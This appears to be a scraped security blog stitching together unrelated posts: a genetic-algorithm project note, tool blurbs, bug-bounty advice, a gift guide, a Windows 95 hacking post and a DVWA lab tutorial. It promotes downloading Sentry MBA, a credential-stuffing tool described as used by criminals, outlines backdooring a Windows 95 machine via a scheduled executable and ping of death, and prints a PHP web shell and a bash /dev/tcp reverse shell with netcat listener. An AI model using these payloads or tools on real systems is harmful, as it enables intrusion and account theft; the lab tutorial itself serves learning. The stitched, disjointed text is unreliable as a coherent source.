What we choose is never what we really need.

4/26/2020

Evolving Logic Until Pass Tests Automatically

Automating the automation is still a challenge, but in some cases it's possible under certain situations.

In 2017 I created logic-evolver, one of my experiments for creating logic automatically or better said evolving logic automatically.

In some way, the computer create its own program that satisfies a set of tests defined by a human.

https://github.com/sha0coder/logic-evolver

This implementation in rust, contains a fast cpu emulator than can execute one million instructions in less than two seconds. And a simple genetic algorithm to do the evolution.


Here we create the genetic algorithm, and configure a population of 1000 individuals, and the top 5 to crossover. We run the genetic algorithm with 500 cycles maximum.
Note that in this case the population are programs initially random until take the correct shape.


An evaluation function is provided in the run method as well, and looks like this:




The evaluation function receives a CPU object, to compute a test you need to set the initial parameters, run the program and set a scoring regarding the return value.


Related posts

How To Download Torrents Files Directly To Your Android Device

Download-Torrent-files-Android-Devices
uTorrent, one of the most popular BitTorrent clients, is now available for Android smartphones and tablets. Its use on mobile devices is very similar to its use in the PC. All you need is to search for torrents using the web browser on your mobile device, then uTorrent will download the files.

Procedure:

Other softwares

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4/25/2020

DOWNLOAD SENTRY MBA V1.4.1 – AUTOMATED ACCOUNT CRACKING TOOL

Sentry MBA is an automated account cracking tool that makes it one of the most popular cracking tools. It is used by cybercriminals to take over user accounts on major websites. With Sentry MBA, criminals can rapidly test millions of usernames and passwords to see which ones are valid on a targeted website. The tool has become incredibly popular — the Shape Security research team sees Sentry MBA attack attempts on nearly every website we protect.  Download Sentry MBA v1.4.1 latest version.

FEATURES

Sentry MBA has a point-and-click graphical user interface, online help forums, and vibrant underground marketplaces to enable large numbers of individuals to become cybercriminals. These individuals no longer need advanced technical skills, specialized equipment, or insider knowledge to successfully attack major websites.
Sentry MBA attack has three phases,
  • Targeting and attack refinement
  • Automated account check
  • Monetization
More articles

RED_HAWK: An Information Gathering, Vulnerability Scanning And Crawling Tool For Hackers


About RED_HAWK: RED_HAWK is a all in one tool for Information Gathering, Vulnerability Scanning and Crawling. A must have tool for all pentesters and hackers.

RED_HAWK's features:
  • Basic ScanSite Title (NEW):
       IP Address
       Web Server Detection IMPROVED
       CMS Detection
       Cloudflare Detection
       robots.txt Scanner
  • Whois Lookup (IMPROVED)
  • Geo-IP Lookup
  • Grab Banners IMPROVED
  • DNS Lookup
  • Subnet Calculator
  • Nmap Port Scan
  • Sub-Domain Scanner IMPROVED:
       Sub Domain
       IP Address
  • Reverse IP Lookup and CMS Detection IMPROVED:
       Hostname
       IP Address
       CMS
  • Error Based SQLi Scanner
  • Bloggers View NEW
       HTTP Response Code
       Site Title
       Alexa Ranking
       Domain Authority
       Page Authority
       Social Links Extractor
       Link Grabber
  • WordPress Scan NEW
       Sensitive Files Crawling
       Version Detection
       Version Vulnerability Scanner
  • Crawler
  • MX Lookup NEW
  • Scan For Everything - The Old Lame Scanner
List of CMS Supported on RED_HAWK
   RED_HAWK's CMS Detector currently is able to detect the following CMSs (Content Management Systems) in case the website is using some other CMS, Detector will return could not detect.
  • WordPress
  • Joomla
  • Drupal
  • Magento

RED_HAWK Installation
   How To Configure RED HAWK with moz.com for Bloggers View Scan?
   All set, now you can enjoy the bloggers view.

How to use RED_HAWK?

Known Issues of RED_HAWK
   ISSUE: Scanner Stops Working After Cloudflare Detection!
   SOLUTION: Use the fix command (for Debian-based distros) or manually install php-curl and php-xml.

   Watch the video to see how to solve that isuue:

Support and Donations
   Found RED_HAWK cool? Well you could buy a cup of tea for the author 😉 Just send any amount of donations (in Bitcoin) to this address: 1NbiQidWWVVhWknsfPSN1MuksF8cbXWCku

   Can't donate? well that's no problem just drop a "THANK YOU, AUTHOR" this will motivate me to create more exciting stuffs for you 😉

TODOs for RED_HAWK:
  • Make a proper update option ( Installs current version automatically )
  • Add more CMS to the detector
  • Improve The WordPress Scanner ( Add User, Theme & Plugins Enumeration )
  • Create a web version of the scanner
  • Add XSS & LFI Scanner
  • Improve the Links grabber thingy under bloggers view
  • Add some other scans under the Bloggers View



Related posts

Snmpcheck


"snmpcheck is a free open source utility to get information via SNMP protocols. It works fine against Windows, Linux, Cisco, HP-UX, SunOS systems and any devices with SNMP protocol support. It could be useful for penetration testing or systems monitoring. snmpcheck has been tested on GNU/Linux, *BSD, Windows systems and Cygwin. snmpcheck is distributed under GPL license and based on Athena-2k script by jshaw. " read more...

Website: http://www.nothink.org/perl/snmpcheck


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4/23/2020

Exploit-Me


"Exploit-Me is a suite of Firefox web application security testing tools designed to be lightweight and easy to use. The Exploit-Me series was originally introduced at the SecTor conference in Toronto. The slides for the presentation are available for download. Along with this SecTor is making the audio of the talk available." read more...



Website: http://securitycompass.com/exploitme.shtml

Related links
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How Do I Get Started With Bug Bounty ?

How do I get started with bug bounty hunting? How do I improve my skills?



These are some simple steps that every bug bounty hunter can use to get started and improve their skills:

Learn to make it; then break it!
A major chunk of the hacker's mindset consists of wanting to learn more. In order to really exploit issues and discover further potential vulnerabilities, hackers are encouraged to learn to build what they are targeting. By doing this, there is a greater likelihood that hacker will understand the component being targeted and where most issues appear. For example, when people ask me how to take over a sub-domain, I make sure they understand the Domain Name System (DNS) first and let them set up their own website to play around attempting to "claim" that domain.

Read books. Lots of books.
One way to get better is by reading fellow hunters' and hackers' write-ups. Follow /r/netsec and Twitter for fantastic write-ups ranging from a variety of security-related topics that will not only motivate you but help you improve. For a list of good books to read, please refer to "What books should I read?".

Join discussions and ask questions.
As you may be aware, the information security community is full of interesting discussions ranging from breaches to surveillance, and further. The bug bounty community consists of hunters, security analysts, and platform staff helping one and another get better at what they do. There are two very popular bug bounty forums: Bug Bounty Forum and Bug Bounty World.

Participate in open source projects; learn to code.
Go to https://github.com/explore or https://gitlab.com/explore/projects and pick a project to contribute to. By doing so you will improve your general coding and communication skills. On top of that, read https://learnpythonthehardway.org/ and https://linuxjourney.com/.

Help others. If you can teach it, you have mastered it.
Once you discover something new and believe others would benefit from learning about your discovery, publish a write-up about it. Not only will you help others, you will learn to really master the topic because you can actually explain it properly.

Smile when you get feedback and use it to your advantage.
The bug bounty community is full of people wanting to help others so do not be surprised if someone gives you some constructive feedback about your work. Learn from your mistakes and in doing so use it to your advantage. I have a little physical notebook where I keep track of the little things that I learnt during the day and the feedback that people gave me.


Learn to approach a target.
The first step when approaching a target is always going to be reconnaissance — preliminary gathering of information about the target. If the target is a web application, start by browsing around like a normal user and get to know the website's purpose. Then you can start enumerating endpoints such as sub-domains, ports and web paths.

A woodsman was once asked, "What would you do if you had just five minutes to chop down a tree?" He answered, "I would spend the first two and a half minutes sharpening my axe."
As you progress, you will start to notice patterns and find yourself refining your hunting methodology. You will probably also start automating a lot of the repetitive tasks.

More info

4/22/2020

Top 10 Great Gifts For The Hacker In Your Life

Give gifts this holiday season that inspires your favorite hackers to make something great. Our ten top picks for gifts to make 'em smile are perfect for hackers of all styles, ages, and interests.
Holiday gift guides always struggle when faced with nailing down a list for hackers — that's because hackers are as diverse in their interests and fascinations as they are diverse in gender, color, size and everything else. Someone with a multi-focused set of curiosity and unique gifts for finding out what makes the crackable crack may seem like a daunting individual to stuff a stocking for … but don't fret. With a keen eye on the latest interests in hacker culture, we've got a gift guide that can make the hacker in your life smile as they enjoy using your gift to hack and explore throughout the coming year.
The Onion Pi-Iemhacker
Anonymity online: The Onion Pi
One of the most popular "snake oil" (fake) privacy gadgets is the so-called "Tor in a box" — a plug-and-play gadget that promises to make you anonymous online. Nearly all of these are made by clueless charlatans whose products put you at risk for privacy and security breaches. But your favorite hacker can just make or build an "Onion Pi" for $69.95, and with this free tutorial.

Attribution Dice
With Attribution Dice ($20), anyone can be a high-priced security consultant, and predict breach headlines before PR firms have a chance to feed them to reporters! With every security breach, hackers roll their eyes when headlines and PR firms roll out the same old, same old terms, methods and culprits. Instead of rolling eyes, your hacker can roll the dice, and wow friends, family, and neighbors with their hacker cyber-powers.
21 Bitcoin Computer
Money is always a welcome gift. Give the gift of going hands-on with Bitcoin with the 21 Bitcoin Computer. "The 21 Bitcoin Computer is ideal for buying and selling digital goods and services. You can use it to create bitcoin-payable APIs, set up your own personal digital goods store, pay people to share your content online, or host online games of skill." It's not cheap ($395) and comes with controversy, but it's a cool toy with a lot of potential, and 21 Inc. is going to be releasing an open source package for the device soon.
Gentleman's Bogota Lockpicks and Clear Practice Lock
Iemhacker-hacking-tutorial
Conventional wisdom suggests that all hackers know how to pick locks, but can they do it in style? A perfect stocking stuffer for slick hackers of all genders is the Gentleman's Bogota lockpick set ($34.95). These featherweights pin discreetly to a collar, hat, sleeve, vest, hemline, or wherever they choose. If the hacker you're shopping for wants to learn to lockpick, or just brush up on technique, throw in the clever Clear Practice Lock ($34.95).
Inverse Path USB Armory
Iemhacker-hacking-news-tutorial-hackernews
In this reviewer's opinion, every hacker should have a USB Armory in their stocking this year. The Inverse Path USB Armory ($130) is a little USB stick with an entire computer onboard (800MHz ARM processor, 512MB RAM), designed to be a portable platform for personal security applications — and lives up to its reputation as "the Swiss Army Knife of security devices."
Hack-A-Day Gift Card
The cornerstone of hacker culture Hack-A-Day has a store offering gift cards and merchandise a-plenty. In it, you'll find a Bukito portable 3D printer ($899.97), ever-popular Facedancer21 and Gootfet42, a low energy Bluetooth Arduino microcontroller called the Lightblue Bean, and the pocket-sized open source robot arm, Mearm.
Hackers 20th Anniversary Blu-Ray Edition
Hack the planet! The 20th anniversary of influential 1995 cyberpunk film "Hackers" was this year, and this cult classic got a special edition Blu-ray release, making it the must-have for the hackers in your life. The 20th anniversary "Hackers" Blu-ray features an hour-long "making of" documentary, rich video and audio transfer for the film itself, and interviews with: Cast members Matthew Lillard, Fisher Stevens, and Penn Jillette; hacking consultants Nicholas Jarecki and Emmanuel Goldstein; Director Iain Softley, and many more involved with the film's production and style.
A Hacker's hope for better sleep: The Re-Timer
Iemhacker-Top-10-Great-gifts-For-hackers
Hackers are increasingly hacking themselves to make their own systems run better, and one thing hackers struggle with is their sleep cycles and feeling rested. Something that can help out is the Re-Timer ($299), a retro-future looking set of glasses and kit that adjusts the circadian rhythm and suppresses the body's production of melatonin (the sleepy hormone our bodies produce which makes us feel tired). Based on 25 years of research and on the market worldwide for three years, the Re-Timer has its own jet lag calculator app, as well as its Sleep App for Fitbit that makes a customized schedule based on actual sleep tracked.
USB Rubber Ducky Deluxe and LAN Turtle
Iemhacker-USB-Rubber-ducky-delux-LAN-turtle
A longtime favorite with hackers, penetration testers and IT professionals, the USB Rubber Ducky Deluxe ($42.99)is a cross-platform (Windows, Mac, Linux, Android) testing and experimentation device that is detected as a keyboard — imagine the possibilities. This stocking stuffer pairs well with its animal friend LAN Turtle ($50), a covert sysadmin and pentest tool for remote access, network intel gathering, and man-in-the-middle monitoring through a simple graphic shell (all in a generic USB ethernet adapter case).
TechShop Gift Certificate
Iemhacker-Top-10-gifts-for-the-hacker
Give the gift of hacking and making: A gift certificate to a TechShop. "Part fabrication and prototyping studio, part hackerspace, and part learning center, TechShop provides access to over $1 million worth of professional equipment and software. We offer comprehensive instruction and expert staff to ensure you have a safe, meaningful and rewarding experience." There are TechShops in Arizona, California, Michigan, Missouri, Pennsylvania, Texas, and Virginia/Washington, D.C. (some states have multiple locations). Future locations include St. Louis, MO and Paris, France.
Products to avoid
If you see these products, run! You're better off with a lump of coal. Don't waste precious holiday money on "snake oil" privacy and security products like these:
  • Anonabox
  • Wemagin
  • Webcloak
  • iGuardian (now SHIELD)
  • LogMeOnce
  • Sever: The Anti-Villain Box
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Hacking Windows 95, Part 2

In the Hacking Windows 95, part 1 blog post, we covered that through a nasty bug affecting Windows 95/98/ME, the share password can be guessed in no time. In this article, I'm going to try to use this vulnerability to achieve remote code execution (with the help of publicly available tools only).

The first thing we can do when we have read access to the Windows directory through the share, is to locate all the *.pwl files on the c:\windows directory, copy them to your machine where Cain is installed, switch to Cracker tab, pwl files, load the pwl file, add username based on the filename, and try to crack it. If you can't crack it you might still try to add a .pwl file where you already know the password in the remote windows directory. Although this is a fun post-exploitation task, but still, no remote code execution. These passwords are useless without physical access.


One might think that after having a share password and user password, it is easy to achieve remote code execution. The problem is:
  • there is no "at" command (available since Windows 95 plus!)
  • there is no admin share
  • there is no RPC
  • there is no named pipes
  • there is no remote registry
  • there is no remote service management
If you think about security best practices, disabling unnecessary services is always the first task you should do. Because Windows 95 lacks all of these services, it is pretty much secure!

During my quest for a tool to hack Windows 95, I came across some pretty cool stuff:
LanSpy

But the best of the best is Fluxay, which has been written by chinese hackers. It is the metasploit from the year 2000. A screenshot is worth more than a 1000 words. 4 screenshot > 4 thousand words :)





It is pretty hard to find the installer, but it is still out there!

But at the end, no remote code execution for me.

My idea here was that if I can find a file which executes regularly (on a scheduled basis), I can change that executable to my backdoor and I'm done. Although there is no scheduler in the default Windows 95, I gave it a try. 

Let's fire up taskman.exe to get an idea what processes are running:


Looks like we need a more powerful tool here, namely Process Explorer. Let's try to download this from oldapps.com:


LOL, IE3 hangs, can't render the page. Copying files to the Win95 VM is not that simple, because there are no shared folders in Win95 VM. And you can't use pendrives either, Win95 can't handle USB (at least the retail version). After downloading the application with a newer browser from oldapps, let's start Process Explorer on the test Windows 95.


Don't try to download the Winsocks 2 patch from the official MS site, it is not there anymore, but you can download it from other sites

Now let's look at the processes running:


After staring it for minutes, turned out it is constant, no new processes appeared.
Looking at the next screenshot, one can notice this OS was not running a lot of background processes ...


My current Win7 has 1181 threads and 84 processes running, no wonder it is slow as hell :)

We have at least the following options:
  1. You are lucky and not the plain Windows 95 is installed, but Windows 95 Plus! The main difference here is that Windows 95 Plus! has built-in scheduler, especially the "at" command. Just overwrite a file which is scheduled to execution, and wait. Mission accomplished!
  2. Ping of death - you can crash the machine (no BSOD, just crash) with long (over 65535 bytes) ICMP ping commands, and wait for someone to reboot it. Just don't forget to put your backdoor on the share and add it to autoexec.bat before crashing it. 
  3. If your target is a plain Windows 95, I believe you are out of luck. No at command, no named pipes, no admin share, nothing. Meybe you can try to fuzz port 137 138 139, and write an exploit for those. Might be even Ping of Death is exploitable?
Let's do the first option, and hack Windows 95 plus!
Look at the cool features we have by installing Win95 Plus!


Cool new boot splash screen!


But our main interest is the new, scheduled tasks!


Now we can replace diskalm.exe with our backdoor executable, and wait maximum one hour to be scheduled.

Instead of a boring text based tutorial, I created a YouTube video for you. Based on the feedbacks on my previous tutorialz, it turned out I'm way too old, and can't do interesting tutorials. That's why I analyzed the cool skiddie videoz, and found that I have to do the followings so my vidz won't suck anymore:
  • use cool black windows theme
  • put meaningless performance monitor gadgets on the sidebar
  • use a cool background, something related with hacking and skullz
  • do as many opsec fails as possible
  • instead of captions, use notepad with spelling errorz
  • there is only one rule of metal: Play it fuckin' loud!!!!

Continue reading


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Learning Web Pentesting With DVWA Part 5: Using File Upload To Get Shell

In today's article we will go through the File Upload vulnerability of DVWA. File Upload vulnerability is a common vulnerability in which a web app doesn't restrict the type of files that can be uploaded to a server. The result of which is that a potential adversary uploads a malicious file to the server and finds his/her way to gain access to the server or perform other malicious activities. The consequences of Unrestricted File Upload are put out by OWASP as: "The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement. It depends on what the application does with the uploaded file and especially where it is stored."
For successful vulnerability exploitation, we need two things:
1. An unrestricted file upload functionality.
2. Access to the uploaded file to execute the malicious code.
To perform this type of attack on DVWA click on File Upload navigation link, you'll be presented with a file upload form like this:
Lets upload a simple text file to see what happens. I'll create a simple text file with the following command:
echo TESTUPLOAD > test.txt
and now upload it.
The server gives a response back that our file was uploaded successfully and it also gives us the path where our file was stored on the server. Now lets try to access our uploaded file on the server, we go to the address provided by the server which is something like this:
http://localhost:9000/hackable/uploads/test.txt
and we see the text we had written to the file. Lets upload a php file now since the server is using php. We will upload a simple php file containing phpinfo() function. The contents of the file should look something like this.
<?php
phpinfo();
?>
Save the above code in a file called info.php (you can use any name) and upload it. Now naviagte to the provided URL:
http://localhost:9000/hackable/uploads/info.php
and you should see a phpinfo page like this:
phpinfo page contains a lot of information about the web application, but what we are interested in right now in the page is the disable_functions column which gives us info about the disabled functions. We cannot use disabled functions in our php code. The function that we are interested in using is the system() function of php and luckily it is not present in the disable_functions column. So lets go ahead and write a simple php web shell:
<?php
system($_GET["cmd"]);
?>
save the above code in a file shell.php and upload it. Visit the uploaded file and you see nothing. Our simple php shell is looking for a "cmd" GET parameter which it passes then to the system() function which executes it. Lets check the user using the whoami command as follows:
http://localhost:9000/hackable/uploads/shell.php?cmd=whoami
we see a response from the server giving us the user under which the web application is running.
We can use other bash commands such as ls to list the directories. Lets try to get a reverse shell now, we can use our existing webshell to get a reverse shell or we can upload a php reverse shell. Since we already have webshell at our disposal lets try this method first.
Lets get a one liner bash reverseshell from Pentest Monkey Reverse Shell Cheat Sheet and modify it to suit our setup, but we first need to know our ip address. Enter following command in a terminal to get your ip address:
ifconfig docker0
the above command provides us information about our virtual docker0 network interface. After getting the ip information we will modify the bash one liner as:
bash -c 'bash -i >& /dev/tcp/172.17.0.1/9999 0>&1'
here 172.17.0.1 is my docker0 interface ip and 9999 is the port on which I'll be listening for a reverse shell. Before entering it in our URL we need to urlencode it since it has some special characters in it. After urlencoding our reverse shell one liner online, it should look like this:
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
Now start a listener on host with this command:
nc -lvnp 9999
and then enter the url encoded reverse shell in the cmd parameter of the url like this:
http://localhost:9000/hackable/uploads/shell.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.17.0.1%2F9999%200%3E%261%27
looking back at the listener we have a reverse shell.
Now lets get a reverse shell by uploading a php reverse shell. We will use pentest monkey php reverse shell which you can get here. Edit the ip and port values of the php reverse shell to 172.17.0.1 and 9999. Setup our netcat listener like this:
nc -lvnp 9999
and upload the reverse shell to the server and access it to execute our reverse shell.
That's it for today have fun.

References:

  1. Unrestricted File Upload: https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload
  2. Reverse Shell Cheat Sheet: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
  3. Php Reverse Shell (Pentest Monkey): https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
More information